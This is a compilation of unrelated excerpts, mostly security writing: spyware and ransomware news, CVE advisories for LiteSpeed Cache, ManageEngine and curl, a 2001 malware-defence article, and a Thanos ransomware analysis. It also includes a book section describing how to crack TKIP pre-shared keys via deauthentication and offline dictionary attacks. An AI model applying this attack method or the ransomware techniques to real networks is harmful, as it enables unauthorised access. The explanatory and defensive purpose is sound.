A study by security company Aladdin's eSafe Content Security response Team (CSRT) found that 15 percent of spyware threats successfully copy user's passwords, usernames, hashes of administrator's passwords and email addresses. The analysis of 2,000 known spyware threats shows that there is a growing amount of malware designed for identity theft.
"The study illustrates that a growing amount of spyware is specifically designed for identity theft and continues to compromise both personal and commercial privacy, with potentially dangerous effects for large organizations in need of protecting proprietary information," said the company in a statement.
A further 25 percent of spyware is classified as a "moderate threat". This type of spyware sends information gathered from the victim's operating system, including the computer (host) name, domain name, logs of all processes running in memory, installed programs, security applications, client's internal IP address, OS version, the existence and versions of service packs and security updates.
The remaining 60 percent, the research found, transmitted commercially valuable information about the end user's browsing habits. This includes keywords used in search engines, browsing habits and ratings of frequently visited websites and shopping reports.
This week, SC Magazine reported that a Californian man was convicted of planting a malware "time bomb" in his former employer's computer. |
CVE-2023-4372: WordPress LiteSpeed Cache Plugin Flaw Exposes 4M Sites to XSS Attacks
On August 14, 2023, the Wordfence Threat Intelligence team discovered a critical stored Cross-Site Scripting (XSS) vulnerability in the LiteSpeed Cache plugin, one of the most popular WordPress cache plugins with over 4 million active installations. This vulnerability allows attackers with contributor-level permissions or higher to inject malicious web scripts into pages using the plugin’s shortcode.
LiteSpeed Cache, a prominent site acceleration plugin, enhances the speed of websites using its server-level cache and optimization features. It also boasts a unique shortcode – [esi] – that activates the Edge Side Includes (ESI) technology, optimizing caching for individual blocks on a WordPress page. However, the treasure came with a trap. A flaw in the shortcode’s implementation opened the door to malicious attacks, turning an optimization tool into a potential weapon.
Designated as CVE-2023-4372 and scoring a 6.4 on the CVSS scale, this vulnerability was no minor issue. The problem centered on the lack of sufficient security measures around the user-supplied ‘cache’ input in the ESI class. This oversight in sanitizing and escaping output meant that a simple shortcode could be exploited by cybercriminals to inject harmful web scripts.
But what does this vulnerability truly mean for the average WordPress user? In essence, a user with contributor-level permissions or higher could exploit this loophole to insert malicious scripts into WordPress pages. And each time an unsuspecting user accessed the tainted page, the script would spring to life, executing its malevolent code.
Stored Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious code into web pages. This code is then executed when a victim visits the affected page. Stored XSS vulnerabilities are particularly dangerous because they can be used to steal sensitive information, such as cookies and session tokens, or to redirect users to malicious websites.
Cyber attackers could hijack sensitive information, alter site content, add malicious administrative users, modify crucial files, or even divert users to harmful websites. All this havoc required just one compromised contributor account or the ability to register as one.
Upon discovering the CVE-2023-4372 vulnerability, Wordfence immediately began the responsible disclosure process, alerting the LiteSpeed Cache developer team. Acting with urgency, the developers designed a patch by August 16, 2023, and by October 10, the fixed version (5.7) was available in the WordPress repository.
The best way to protect yourself from the LiteSpeed Cache vulnerability is to update the plugin to the latest version (5.7 or higher).
Here are some additional tips for protecting yourself from XSS vulnerabilities:
- Keep your WordPress software and plugins up to date.
- Use a web application firewall (WAF) to filter out malicious traffic.
- Implement content security policy (CSP) to restrict the types of scripts that can be executed on your website.
- Use a security scanner to regularly scan your website for vulnerabilities. |
Preface: Asset scan is the key function to maintain the asset management integrity. If the company structure not operating standalone. In some circumstance, the system architect will formalize a distributed architecture. However, how to scan and collecting data is a important topic. Perhaps the file size is variable because of the data content. As a result, when the file transfer go to back-end system. it will using compression technology traditionally to resolve the network bandwidth consumption. For example: ZIP file. Furthermore, software developer aim to improve the process completion time.
Background (Asset Scan in Remote AE Server): The scanned information in the Remote AE Server can be updated periodically either manually or automatically in the Central AE Server.
You can install AssetExplorer as a Central Server by choosing the server type as Central AE Server on starting the application for the first time. The application is started as the Central AE Server.
As a result, Central AE server will tracks all your newly added assets, and have a record of all the assets in the organization.
About CVE-2021-44757: An authentication bypass vulnerability that can allow a remote user to perform unauthorized actions in the server. If exploited, this vulnerability may allow an attacker to read unauthorized data or write an arbitrary zip file on the server.
As usual, vendor not disclose the vulnerability in details. However, referring to existing system design. It relies on compression function assistance. Perhaps the earlier version of design do not enforce the data integrity check. And therefore it provide a channel to attacker create the trouble.
Official announcement: For details, please refer to link – https://pitstop.manageengine.com/portal/en/community/topic/a-critical-security-patch-released-in-desktop-central-and-desktop-central-msp-for-cve-2021-44757-17-1-2022 |
- The Easiest Way to Get in
- A Short Fence to Climb: Bypassing Closed ESSIDs, MAC, and Protocols Filtering
- Picking a Trivial Lock: Various Means of Cracking WEP
- Picking the Trivial Lock in a Less Trivial Way: Injecting Traffic to Accelerate WEP Cracking
- Field Observations in WEP Cracking
- Cracking TKIP: The New Menace
- The Frame of Deception: Wireless Man-in-the-Middle Attacks and Rogue Access Points Deployment
- Breaking the Secure Safe
- The Last Resort: Wireless DoS Attacks
Cracking TKIP: The New Menace
As you will see in the following Defense chapters, 802.11i TKIP eliminates the vulnerabilities of WEP we have described and is considered to be practically uncrackable, or is it? When the TKIP keys are generated, distributed, and rotated using 802.1x and RADIUS, a cracker won't get far trying to crack the keys. Instead, he or she will probably choose a more lateral approach, trying to attack the 801.1x itself. However, if 802.1x cannot be used, a preshared key (PSK) will substitute it as a key establishment method. Although each client host can have its own PSK, at the moment the only real-world implementation of the PSK available is a single PSK per ESSID, just like WEP was. However, the PSK is not used to encrypt data like WEP. Instead, it is employed to generate pairwise transient keys (PTK) for each TKIP-protected connection. These keys are distributed by a four-way handshake and, apart from the PSK, use two nonces from the two first packets of the handshake and two MAC addresses of the involved hosts. Because the handshake packets and the MAC addresses are easy to sniff out, once you know the PSK, you can easily produce all the PTKs you need and the network is yours to take. As usual, the handshake can be initiated by a DoS attack deassociating a client host from the AP. This already eliminates the advantage of TKIP preventing the "nosey employee attack" (users on the same WLAN sniffing each other's traffic). Such an attack can be mitigated by users not knowing the PSK, which creates additional load on the system administrator, who is now also responsible for entering the key on every user's box.
But can an outside attacker obtain the PSK and take over the WLAN? With some luck he or she can. In a four-way handshake, the PTK is used to hash the frames. Because we know both nonces and both MACs, all we need to derive the PSK from the PTK is to crack the hash. Offline hash cracking is neither new nor hard to perform. We deal with it in this chapter, too, in a section devoted to attacks against EAP-LEAP. A PSK is 256 bits long; this is a significantly large number. Although this is great from the cryptographic point of view, no user would ever remember or easily enter a password string that long. Thus, the PSK is generated from an ASCII passphrase in accordance with the following formula:
PMK = PBKDF2(passphrase, essid, essidLength, 4096, 256)
where PBKDF2 is a cryptographic method from the PKCS #5 v2.0 Password-based Cryptography Standard. In a nutshell, the string of the passphrase, the ESSID, and its length are hashed 4,096 times to generate a 256-bit key value. Interestingly, neither the length of the passphrase nor the length of the ESSID has a significant impact on the speed of hashing. As stated in the 802.11i standard, a typical passphrase has approximately 2.5 security bits per single character. The n bits passphrase should produce a key with 2.5*n + 12 security bits. In accordance with this formula (and the 802.11i standard), a key generated from a passphrase less than 20 characters in length is not sufficiently secure and can be cracked. Just how many users (or even system administrators) usually choose and remember passwords of 20 characters or more?
The practical attack against PSK-using TKIP would resemble an offline WEP cracking with WEPattack. The handshake frames capture can be done after deassociating a wireless host by one of the DoS attacks described in this chapter. Robert Moskowitz, who proposed this attack, considers it to be easier to execute than, for example, brute-forcing or running dictionary attacks against WEP. Although no ready tool to perform the offline TKIP cracking exists at the moment of writing, the bounty is too high and most likely by the time you buy this book, the cracking underground will come up with one. After all, we are talking about a hash-cracking tool similar to md5crack and a shell script to send deassociate frames and capture the handshake afterward to provide the feed for a hash cracker. Similar functionality is already implemented in a wireless attack tool, namely the Asleap-imp.
What would be the impact of such an attack? The wireless networks that do not use 802.1x for TKIP keys distribution and rotation are primarily the networks lacking a RADIUS server due to installation difficulties, price, or other reasons. The networks using legacy wireless hardware and firmware incapable of handling 802.1x also fall into this category. This means that SOHO networks and public hotspots (mind the users bringing "ancient" unupdated client cards) are the networks expected to be susceptible to offline TKIP cracking attacks. These are precisely the kind of networks on which users and administrators are likely to set simple, easy-to-crack passwords that can be found in a modest dictionary. This is clearly a case of Murphy's Law at work. |
DoppelPaymer Ransomware Attacks California City; Hackers Steal Data
Cybercriminals launched a DoppelPaymer ransomware attack against the City of Torrance, California, according to Bleeping Computer. The cyberattack was discovered March 1, and more than 200 GB of files were allegedly stolen during the attack.
Hackers used DoppelPaymer to steal Torrance’s unencrypted data, encrypt approximately 150 servers and 500 workstations and erase the city’s local backups, Bleeping Computer reported. They also demanded a 100 Bitcoin ($689,147) ransom for a decryptor.
In addition, cybercriminals created a page titled “City of Torrance, CA” that contained numerous leaked file archives, Bleeping Computer noted. The page included city budget financials and accounting documents.
What Is DoppelPaymer?
DoppelPaymer is a variant of the BitPaymer ransomware used by eCrime group INDRIK SPIDER. It was discovered by endpoint protection software company CrowdStrike in 2019 and has been used in several ransomware campaigns, including cyberattacks against the City of Edcouch, Texas and Chilean Ministry of Agriculture.
DoppelPaymer uses ProcessHacker, an open-source administrative utility, to stop processes and services that may disrupt file encryption, CrowdStrike indicated. It also uses the same encryption, compression and data format as the Dridex malware.
CrowdStrike uncovered eight distinct DoppelPaymer builds, with ransom amounts ranging from $25,000 to over $1.2 million. Furthermore, CrowdStrike stated that the threat actor operating DoppelPaymer may have separated from INDRIK SPIDER and is using the malware to run their own “big game hunting” ransomware operations.
Trustwave Report: Ransomware Incidents Up in 2019
Ransomware accounted for 18 percent of all breach incidents last year, according to research from Trustwave, a Top 200 MSSP. Comparatively, ransomware made up 4 percent of all breach incidents in 2018.
Cybercriminals are increasingly using ransomware to target organizations of all sizes and across all industries. However, MSSPs can help organizations combat ransomware attacks.
MSSPs can provide endpoint detection and response (EDR), threat intelligence and other security services to help organizations identify security gaps and improve their security posture. Plus, MSSPs can offer cyberattack insights to ensure organizations can keep pace with evolving cyber threats. |
PrivateGPT has the capability to track different mentions of the same entities over multiple messages. Importantly, however, this is only possible if exactly the same names are used in each reference to the entity. If you refer to an entity with multiple different names, PrivateGPT may not be able to correctly link the entity in its response. This includes variations like different spellings, different cases, and typos.
In the following example, the user has asked PrivateGPT to draft a letter. Note that in the redacted text sent to ChatGPT, both mentions of Sun Care Health are redacted as
[ORGANIZATION_1], demonstrating that PrivateGPT is linking both mentions to a single entity.
In the following prompt, the user asks PrivateGPT to add a contact number for Sun Care Health to the letter. Because they have used the exact organization name that was used in the first prompt, PrivateGPT understands that the user is again referring to the same entity, and once again it is redacted as
Because the entity is properly linked to the previous mentions, the phone number is added in the subsequent response, as requested by the user.
In the third prompt, however, the user refers to the organization with an acronym, SCH, rather than its full name. PrivateGPT detects this as a new entity, and it is redacted as
[NAME_2]. ChatGPT then incorrectly associates the acronym (and following address) with the addressee of the letter. The resulting response contains inaccurate contact information for both parties.
Similar confusions can result from referring to an individual by different names (Susan Cheng / Susan / Ms. Cheng), with case mismatches (Vikram / vikram), or typos (Ben Jameson / Ben Jamesson), etc.
To avoid these outcomes, take care to always refer to each entity consistently. |
In March 2001, a worm (a harmful computer program) known as Magistr augured a new era of vicious attacks on computers. Unlike LoveLetter or Anna Kournikova, which clogged e-mail servers, Magistr is truly malicious. After sitting dormant for a month on the infected PC, the worm then destroys data files and attacks the CMOS (which boots up the PC).
While this harmful program failed to have the widespread impact of LoveLetter or Anna Kournikova, it suggests that virus-writers are becoming more willing to put truly malicious code into the wild. But even the damage done by these two malware programs, which was relatively easy to fix, is not something companies can afford to suffer regularly. Finding a way to defend against such attacks is essential to business continuity and profitability. What can companies do?
Today, most companies use traditional anti-virus software, which is signature-based, meaning that it defends against known signatures (specific programs). But such software is always a step behind the latest virus mutation, as the victims of each new variant learn when they are hit before they get the latest update from their anti-virus vendors. Given that even the slightest variation in an existing program will allow it to slip past this type of virus-detection defense, companies can't afford to rely solely on this reactive approach anymore.
The following overview looks first at how malicious software (or malware) works. It then explores the potential of three preventive approaches to the problem: sandboxes, heuristics, and blocking tools.
What malware is. Malicious code is often referred to as a virus, but variants may actually fit the definition of other categories of malware, such as a worm, which is a script. With some worms, the recipient does not have to run a file to be infected. While viruses and worms are technically different, anti-virus software detects both. (Most of the malware threatening companies today is more like a worm and that term is used throughout this article somewhat interchangeably with malware.)
Among the factors affecting the ease with which worms, also known as vandals, spread today are the code in which they are written, the toolboxes, the modular design, the HTML code embedding, and the spying functions.
Worm code. Today's worms are usually written in Visual Basic Script (VBS--a programming language for Web applications from Microsoft) and Visual Basic for Applications (VBA--a simple programming language embedded into many Microsoft applications). VBS worms, such as Anna Kournikova and LoveLetter, are often transmitted through e-mail. VBA worms, such as Melissa, conceal themselves in macros. (Macros are a series of instructions designed to simplify repetitive tasks within Microsoft Office applications; they execute when the relevant file is opened).
VBS and VBA are so simple that anybody with a little computer knowledge can introduce a slight change in the vandal source code, which is freely visible, and effectively create a completely new vandal. In addition, virus writers can easily convert from VBS to VBA, and vice versa.
Toolboxes. As mentioned, VBS and VBA scripts are relatively easy to write. But novices no longer need to master even that skill. Sophisticated hackers have created and distributed toolboxes, or virus generators, for novice malware programmers that simplify the task of writing a malicious and fast-spreading vandal in both VBS and VBA. Writers merely make the changes they want--for example, which exploit to use, what message to display, what to do to the infected computer, and so on. And each modified version of the code becomes a new variant, undetectable to anti-virus software until it is encountered and a new defense is written and distributed to end users.
The Anna Kournikova vandal was created with such a toolkit. A toolkit also allows the output script to be encrypted and offers a configurable payload (meaning the creator can select what damage the program will do). With a simple toolbox modification, vandals can take advantage of every possible hole in a company's Internet-enabled applications, move through unprotected shared folders on the local area network, and even automatically download the latest and greatest payload configuration from the Internet.
Modular design. What allows more advanced vandals to be modified by a single keystroke is the modular design that has been incorporated into the toolkits. While writing malware in VBS or VBA is easy, it still requires some computer knowledge. But the toolkits contain already-written VBS or VBA code components prepared in modules that can be assembled by anyone. This modular design allows vandals to be developed quickly and easily.
When these features are applied in advanced Trojan toolkits, they could allow the attacker to remotely add or remove new vandal capabilities. The hacker could even remove the vandal altogether so that all traces are eradicated and the victim will never know that its system has been compromised.
Modular design means that for some malicious code there could he dozens of variants, depending on the specific modules incorporated. The notorious SubSeven remote-control Trojan horse, for example, offers at least nine different modules and a software developer's kit that allows even more modules to be mixed and matched. It is important to note that these modules are all a part of the SubSeven distribution, not a result of recompiling the source code. All the hacker has to do is select the desired modules, system activation method, and means of notification and control (that could, for example, notify the hacker via ICQ--a popular Internet messaging program--whenever a victim is online), and a new version will be created in a packed and encrypted "ready to use" file.
Because even the activation method can be customized, traditional anti-virus scanning is less likely to detect such vandals. Traditional anti-virus products, therefore, revert to the solution of analyzing every new sample and distributing an appropriate update. This is not a high-quality solution. "One-time" variants can take weeks and even months to discover.
Furthermore, toolkits that include the complete source code of the vandal, such as BackOrifice 2000, allow even beginning hackers (known as script kiddies) to produce endless variants and easily create one-time code for attacks on specific targets. These toolkits are probably used for industrial and other types of espionage and pose a great challenge for traditional, reactive anti-virus tools.
HTML Another lesser known, but equally sinister, vandal technique is to embed VBS inside e-mail formatted in hypertext markup language (HTML). Because almost every e-mail client today uses HTML to compose and read e-mail, an embedded script can be extremely dangerous. The danger arises because, to activate the malicious script, a user does not have to execute an attached file. The script will automatically run as soon as the e-mail is opened, or even if it's simply viewed in the preview pane. The user will be infected immediately without any indication. Deleting the e-mail will not help. Few anti-virus products are designed to deal with scripts embedded inside e-mail HTML.
This technique is relatively rare because it is not as well known by script kiddies and because no toolkits are currently available. To date, most such vandals are created to attack specific targets and do not use mass-mailing methods. An exception is a vandal named KAK, an HTML-embedded script that uses an unusual and effective method of infection. KAK adds itself to e-mail messages as a signature- e-mail signatures are normally a few lines of text that can be automatically added to the footer of every e-mail and normally contain the name, title, and other details about the sender. KAK adds a malicious script as the default signature to every e-mail, and since script code is invisible to the user, it will not be noticed by either the sender or the recipients.
Though a VBS worm cannot be embedded in HTML using a toolbox, it is relatively simple nonetheless. A virus writer can simply view the HTML coding using Microsoft Outlook Express and paste the script into that code. The composed e-mail can appear very innocent and look like lines of plain text because the script code is hidden, but it will self-execute when the e-mail arrives.
Spying tools. Not only is malicious code becoming easier to propagate, but the code is also carrying more harmful payloads. Most dangerous among these are so-called spying tools. Once installed on the infected system, these tools allow attackers to do virtually anything a legitimate user can do, such as access information, retrieve cached passwords, type messages on the screen, delete files, and even view a PC Webcam.
Spying tools, also known as remote-control agents, are typically contained in a Trojan disguise. They trick a user into executing them by disguising themselves as jokes, utilities, or pictures. But unlike other malware, spying tools do not spread to everyone in the address book. If they do spread, they do it selectively so as not to raise suspicion.
The most significant feature of spying tools is their ability to remain unnoticed: they can reside on a PC for long periods of time (the average is about two or three months, but some have been known to stay put for a year or two). Two of the most notorious examples of malware with this type of payload are SubSeven and BackOrifice, both of which harbor "remote management" spying capabilities that allow a hacker full access to the compromised computer system.
Another difference between spying software and other malicious code is that the latter typically has a specific payload that can be determined after some examination--it sends itself to names in address books, deletes files, or shows a message, for example. With spying software, however, there is no way to tell what was done or what will be done. Instead, experts can only say what the capabilities, which can be virtually limitless, are. The reason for this is that, unlike other forms of malicious code, these tools are designed for two-way communication between the hacker and the compromised system, so the hacker can select what to do at will.
Numerous organizations have been hit by such spying tools. Perhaps the most well-known incident involved the Microsoft QAZ spy, where small but smart remote-control software enabled unknown hackers access to development PCs at Microsoft. The exact effects of the break-ins remain a mystery.
Some of these tools are also responsible for major denial of service (DoS) attacks. In those cases, the spying agents, referred to as "Zombies" or bots, remain dormant on thousands of infected systems, waiting for the hacker to program them. The hacker could, at will, designate the multiagent network he or she devised with an attack target (a URL) and time, then initiate a coordinated DDoS (distributed denial of service) attack.
Solutions. As noted earlier, most companies today defend against viruses with scanners that operate reactively. First, a virus sample is found, then it is analyzed, a definition pattern to identify that virus is added to an update, and the update is distributed to end users. Soon the next variant gets written, and the process starts again. Clearly, this type of pattern-based virus scanning alone is not the answer, although it is one important part of the solution.
The best approach combines this reactive method with proactive techniques that can identify and block as-yet-unknown malicious code. In addition, a good anti-virus program ensures that security is implemented at all levels, from gateways and mail servers to desktops so that there is no weak link in the chain where a hacker can focus attacks.
With regard to the detection of new variants, three methods are currently being used effectively. They include sandboxes, heuristics, and selective blocking. While no one approach is perfect, each has a role to play in helping companies create a secure network defense. It is advisable to use all three in a layered approach to compensate for each method's weaknesses.
Sand boxes. At its most basic level, a sandbox is a set of rules applied to applications or active content. This set of rules defines what activity is internally allowed within the application scope. It creates a security envelope, surrounding the application, sitting quietly in the background until something tries to break the rules. When a violation occurs, the sandbox shrinks, further limiting the violating entity, and the user is notified of that action.
To put it another way, a software application with sandbox rules applied is enveloped in such a way that some activities are acceptable and some are not. A sandbox rule might bar outside access to local files such as the "My Documents" folder or to other designated areas. The sandbox will not permit malicious code to exploit the software environment it runs within, such as Internet Explorer, to do something out of this normal range of operations.
For example, when active content (such as an ActiveX stock ticker or a Java applet game) is downloaded from an Internet site, a browser will observe this application and restrict it to certain boundaries, usually in a cache directory in the browser. If the sandbox rules detect suspicious activity that is emanating from the application, even stricter rules, or tighter boundaries, might be imposed. As another example, a sandbox might be configured to prevent a program attached to an e-mail from deleting files in the hard drive or bar active content in the Web page from getting into the "My Documents" folder. Or if a user receives an e-mail with attached Flash animation, that attachment may be an executable file containing a Trojan that will try to access off-limits areas of the computer and steal data or to install itself on the PC. Sandbox rules will prevent this.
Sandboxes are flexible; some rules can be further adjusted by the user, or globally by an administrator, to accommodate specific requirements. Special sandboxes can even be created to further protect user-side e-commerce or other high-security applications.
Three or four years ago, the early generations of sandboxes were plagued by false alarms, because it was difficult to define what "normal" behavior was. Sandboxes would frequently isolate programs that seemed abnormal but were helpful and innocuous. Over time, programmers have learned to better refine the sandbox rules. They now produce only the rare false alarm.
That's not to say that all the problems have been solved. It is still difficult for administrators to define what "normal" is and to define the sandbox appropriately. The flexibility of a sand-box also may depend on the application. Microsoft applications, for example, are known to require many more access liberties for proper operation and are closely tied with the operating system; this fact makes creating sandbox rules for Microsoft applications nearly a work of art.
But this defense remains a useful technique despite its limitations. The bottom line is that a sandbox makes a system more resilient to attack by limiting the damage that can be done.
Heuristics. Heuristics is a set of rules applied to a program to determine whether that program is likely to contain malicious commands that should he blocked. Heuristic analysis tries to identify possible malicious behavior by looking for sequences of commands that are known to be used by Internet vandals. One type of heuristics uses statistical analysis--analyzing the repetition, order, and type of VBA commands--to distinguish legitimate macros from malicious ones. Heuristic analysis can also be implemented to analyze VBS, which has a similar syntax to VBA.
As with metal detectors, heuristics can be tweaked to catch most anything, but casting the widest possible net will also yield many false positives. A balance must be struck between detection and user convenience, such as mainwining the ability to use sophisticated Microsoft Word and Excel macros. Finely adjusting heuristic detection enables the user to achieve about an 85-percent detection rate when encountering completely new viral macros. Variants of known macro viruses are detected at a much higher rate, more than 95 percent.
Having efficient heuristics minimizes user inconvenience while also providing a high level of security. While 5 percent to 15 percent may seem like a lot of worms to let through, it must be remembered that the proactive measures are designed to be layered, not standalone, so a vandal missed by conventional scanning, for example, might be detected by heuristics or sandboxing.
Heuristics can work efficiently and reliably only on programs written in script or macro languages, which are not compiled. (Compiled viruses are in machine language, which means that the source code of the virus is not visible within the virus code as it is within macros and scripts.) Several anti-virus vendors have also tried to implement heuristic technology for traditional compiled viruses, but the results have been poor.
Using heuristics on compiled code causes many false alarms and is time consuming, problems that render it impractical for normal use. However, since many of the most prevalent Internet vandals are script- and macro-based, heuristic technology is extremely useful in detecting them.
But even with these viruses, one problem is that legitimate, but sporadic activities, such as operating-system upgrades, could be mistaken for vandal activity, causing false alarms. Therefore, some products use "negative heuristics" (which keep track of the code and techniques that definitely do not indicate a virus infection) to examine the file in more detail. They weigh those findings against any alert when the positive heuristic analysis says that a pattern could indicate a virus. That approach tends to solve the false-positive problem.
Blocking. In addition to trying to detect patterns of code that seem likely to contain malware, organizations should have such safeguards as a policy to prohibit certain file types and file elements and the use of certain ports. For example, using a conventional firewall, a company can block certain ports, IP addresses, and applications.
Another method of blocking is to use anti-virus software to block files according to their file type. The software should be sophisticated enough to analyze a file's content to ensure that it is not spoofed. In other words, someone who wants to send or receive executable files, which often are a vehicle for virus code, can circumvent the system administrator's rules by renaming the file with a different extension. A content security product that can detect spoofed files can also be implemented so that users will not be able to circumvent the security system by changing the extension of downloaded or attached files.
There is no reason to allow unrestricted receipt of all attachments. The corporate environment typically uses only specific file types such as Microsoft Office documents (with the familiar .doc, .xls, and .ppt file extensions), graphic files (including .jpg and .gif), and archive files (such as .zip). Other file types, such as .exe, .vbs, and .dll, are potentially dangerous and allowing them in does not benefit the company.
In addition, anti-virus software should be able to block MS Office documents containing macros or remove the macros before admitting the files. This is especially important for Office documents arriving from outside the organization. If such macros are necessary, users can define exception rules for specific users.
Corporate network protection based solely on scanning known virus signatures cannot be the security technology for the future. Preventive techniques, such as sandboxes, heuristics, and selective blocking software, combined with intelligent user policies, are the only way to inoculate a system against infectious code.
Shimon Gruper is vice president of Internet technologies for Aladdin Knowledge Systems of Tel Aviv, Israel. Ofer Elzam is a senior security expert for Aladdin.
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|Author:||GRUPER, SHIMON; ELZAM, OFER|
|Date:||Aug 1, 2001|
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Data leaks due to ransomware attacks nearly doubled in 2021. What can you do to keep from being a statistic this year?
CISA, FBI, and NSA issued a joint alert about BlackMatter Ransomware this week. What steps can you take to avoid falling victim?
Triple extortion ransomware targets bigger groups. Cybercriminals use it to threaten both the hacked entity and their associates. |
Swipe to navigate through the chapters of this book
So far, we’ve focused on the controller and view aspects of the MVC paradigm. Although several of our applications read data from their own application bundle, only the Bridge Control example in Chapter 12 places any data in persistent storage. When any of our other apps launched, they appeared with exactly the same data they had when first launched. That approach worked up to this point, but in the real world, your apps need to persist data. When users make changes, they want to see those changes when they launch the program again.
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The TG862 includes configuration options for WEP (Wired Equivalent Privacy) encryption, which is used to secure network data transmitted over the wireless (Wi-Fi) connection. Depending on the capability of the client wireless card, 64-bit or 128-bit WEP Encryption can be enabled for IP traffic on the LAN. By default, the wireless network is enabled, and uses WPA-PSK encryption.
This document describes how to configure the Wireless Network to use WEP wireless encryption.
CAUTION: The instructions below include disabling 802.11n, which is required when using WEP encryption in the TG862. As a result, any wireless clients that connect will use 802.11g or 802.11b.
To Configure WEP
Launch a web browser, such as Internet Explorer, Firefox, or Safari. Enter http://192.168.0.1 into the address box, and press the Enter key. The Login page appears.
NOTE: By default the LAN IP address is 192.168.0.1. If the default address has been changed, enter the custom address in the address box.
On the Login page:
a. Enter admin in the Username field.
b. Enter password in the Password field.
c. Click the Login button. The System Basic Setup page appears.
On the top menu, click the Wireless Setup tab.
On the left menu, click Advanced. The Advanced Settings page appears.
On the Advanced Settings page:
a. Wireless Mode - Click the drop-down menu, and select B/G mixed. This setting will disable 802.11n wireless functionality.
b. Click the Apply button.
On the left-hand menu, click Basic. The System Basic Setup page appears.
On the System Basic Setup page:
a. Wireless Network Name (SSID) - Enter the desired network name of choice, or leave at the current setting.
b. Security Mode - Click the drop-down menu, and select WEP.
c. Key Number - Keep at default, 1.
d. Key Length - Click the drop-down menu, and select 64-bits or 128-bits.
NOTE: Select 64-bits for backward compatibility or 128-bits for maximum WEP security. In the example below, 64-bits is selected.
e. Key - Enter the desired WEP key (wireless password) to use. The WEP key must be 10 characters for 64-bit, or 26 characters for 128-bit..
NOTE 1: WEP keys use hexadecimal characters, which are 0 - 9 and a - f. For best security, it is recommended to avoid the use of all the same characters.
64 bit: 02468ace02
128 bit: 0123456789abcdef0123456789
NOTE 2: Make a note of this password, as it will be needed for the wireless client(s) to connect.
f. Click the Apply button.
NOTE: A reboot of the unit is not required for changes to take effect.
The TG862 is now configured to allow wireless client connections using WEP encryption.
To make a connection, the wireless client must have WEP encryption enabled and have the same WEP encryption key as the Motorola Wireless Gateway. For assistance with the wireless client, |
A security issue was found in curl versions 4.0 up to and including 7.73.0. When curl performs a passive FTP transfer, it first tries the EPSV command and if that is not supported, it falls back to using PASV. Passive mode is what curl uses by default. A server response to a PASV command includes the (IPv4) address and port number for the client to connect back to in order to perform the actual data transfer. This is how the FTP protocol is designed to work. A malicious server can use the PASV response to trick curl into connecting back to a given IP address and port, and this way potentially make curl extract information about services that are otherwise private and not disclosed, for example doing port scanning and service banner extractions. If curl operates on a URL provided by a user (which by all means is an unwise setup), a user can exploit that and pass in a URL to a malicious FTP server instance without needing any server breach to perform the attack. |
Recently, I started looking for a wireless router. Before considering specific products, I looked up some general information about different brands offering such routers. To my dismay, I learned that the vast majority of router manufacturers has a history of backdoors being discovered in their products.
Based on this newfound knowledge, it seems to me that avoiding routers with backdoors may not really be feasible and instead of (or rather, in addition to) choosing a router carefully, I must face the possiblity that I end up having a product with backdoors. The question then becomes, how can one mitigate the risks associated with potential backdoors hiding in router equipment?
It's not government agencies I am worried about, but hackers exploiting security vulnerabilities found in networking equipment, like in this recent question. And a backdoor is basically an intentional security vulnerability begging to be found and exploited by someone, and due to its intentional nature, one that router manufacturers would be reluctant to fix. |
We have a Spring MVC application. We now have to integrate spring security in it.
The authentication can be done using either database or using LDAP.
We will a have a configuration setting either in a properties file or a database to decide which authentication to use i.e. if the user should be authenticated against a database or a LDAP.
At any given time there will be only one type of authentication.
e.g. A company test1 can have a database authentication and another company test 2 can have ldap authentication. |
During our regular threat hunting operations, the Cyble Research team found a blog on the darkweb, hosted by the Prometheus ransomware group. This blog is a clear indication of the fact that the group is back in action these days.
In the blog, the group has affiliated itself with the REvil ransomware group, as shown in Figure 1.
Figure 1: Prometheus Blog
Based on our research, Cyble researchers have found a sample of the Thanos ransomware being used by the Prometheus group for a recent ransomware attack. The technical analysis we have performed on the file has been shared below:
The Thanos ransomware is a 32-bit .NET executable file that is highly obfuscated. On decompiling it, we saw that the file has non-readable codes that made it difficult to reverse the file. We used a de-obfuscation tool to read the contents of the file, but complete code was not de-obfuscated. While decompiling, we also found a data object that contained a list of base64 encoded strings and several other plain strings. These strings helped us check the possible activities performed by the ransomware.
Figure 2 shows the list of base64 encoded strings.
Figure 2: Base64 Encoded Strings
Apart from the base64 encoded strings, the modified Thanos ransomware sample contained additional interesting strings related to document file extensions, link file name for persistence, system information, and extensions of various database files. On running the program, we found that only document files and database file extensions are being encrypted by the ransomware. Figure 3 shows the additional types and extracted information for selecting filetypes for encryption.
Figure 3: Strings Used for Selecting File Types.
After finding the base64 encoded strings we de-obfuscated them and observed that the strings were enumerated by the ransomware at the runtime to check the running processes, as shown in figure 4.
Figure 4: Processes Enumerated by the Ransomware
Our observations also indicated that the ransomware started and stopped various services and programs after enumerating the processes. The services started are described in following table:
|Dnscache||Used for client-side DNS resolution for faster DNS query.|
|FDRsePub||Makes computer and resources visible in the network.|
|SSDPSRV||Discovers networked devices.|
|upnphost||Discovering universal plug and play devices.|
Table: Services Started by the Ransomware
The services started and stopped by the Prometheus ransomware are shown in Figure 5. The first 4 services are started by the ransomware, while the remaining are stopped.
Figure 5: Services Started and Stopped by the Ransomware.
The ransomware stops several services that are critical for various purposes. This includes antivirus, system backup and restoring, database backup and restoring, and reporting tools. The purpose behind stopping the services is to block the backup and restoring operations, which has the potential to facilitate the data recovery in future. Figure 6 shows additional services which are terminated.
Figure 6: Additional Services Stopped
In addition to starting and stopping services, the Thanos ransomware also uses SC (Service Control) command to permanently change service configuration. Figure 7 shows the parameters passed to SC to permanently change shared network and device services.
Figure 7: SC Changing configuration.
The ransomware also terminates multiple processes running in the system for faster operation using taskkill.exe. As these programs are resource intensive and can lock the flies targeted by the ransomware. Some of these programs are excel.exe, steam.exe, sqlwriter.exe, thunderbird .exe, and msaccess.exe etc. The list of targeted programs is listed in Figure 8.
Figure 8: Processes Terminated by taskkill.exe.
This variant of the Thanos ransomware checks for various security tools used by malware researchers for reversing the malware. These tools are listed below.
Figure 9: List of Security Tools
The Thanos ransomware uses an interesting technique for obfuscation. At runtime, it loads the reversed base64 encoded string containing the registry information, as shown in Figure 10.
Figure 10: Obfuscation Used by the Ransomware
For network operations, the ransomware changes the Firewall rules to open various ports and allows outbound connection from other systems.
Figure 11 shows the registry entries for allowing inbound connections on various ports.
Figure 11: Firewall Entries Edited.
